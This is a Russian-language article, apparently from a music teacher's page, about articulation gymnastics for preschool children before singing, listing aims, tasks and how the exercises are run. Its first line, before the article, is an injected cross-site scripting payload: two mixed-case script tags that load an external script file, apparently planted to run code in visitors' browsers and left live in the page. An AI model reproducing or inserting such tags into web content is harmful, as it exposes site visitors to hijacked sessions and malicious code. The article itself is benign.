<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Все речевые звуки образуются от деятельности так называемых артикуляционных органов. Этот сложнейший комплекс своеобразных движений принято называть кинема.

Артикуляционная гимнастика для дошкольников – это специальный комплекс упражнений, цель которых состоит в том, чтобы как можно лучше развить артикуляционный аппарат ребёнка. Конечно, малыши уже с самого своего рождения выполняют различные непроизвольные движения при помощи губ и языка.

Артикуляционнная гимнастика перед пением, используемая на музыкальных занятиях в детском саду. Основная цель: выработка качественных, полноценных движений органов артикуляции, подготовка к правильному произношению фонем.

Задачи  артикуляционной гимнастики  на  музыкальных занятиях: — формировать артикуляцию различных звуков; — закреплять артикуляционные  уклады  различных звуков в слогах, словах, фразах; — совершенствовать

подвижность и точность движений языка и губ (активизация движений кончика языка, выполнение дифференцированных движений кончиком языка, ограничение  движений языка и нижней челюсти; — увеличить

объем слуховой памяти и внимания; — учить выделять сильные доли в цепочке слогов; — развивать музыкальную память, запоминания текста песен; — совершенствовать дикцию; — развивать чувство ритма; — совершенствовать

пространственную ориентировку в координатах: вправо-влево, вверх-вниз, в сторону, вперед-назад. Артикуляционные упражнения бывают беззвучными и с участием голоса. На моих музыкальных занятиях эти упражнения проводятся под счет с хлопками под музыку, а так же в сочетании с дыхательно-голосовыми

упражнениями. Артикуляционная гимнастика не должна быть утомительной и продолжаться не более 3-х минут перед пением. Упражнения выполняем с детьми сидя, так как в таком положении у ребенка прямая спина, тело не напряжено, ноги и руки находятся в спокойном положении. Ребенок должен хорошо видеть лицо взрослого.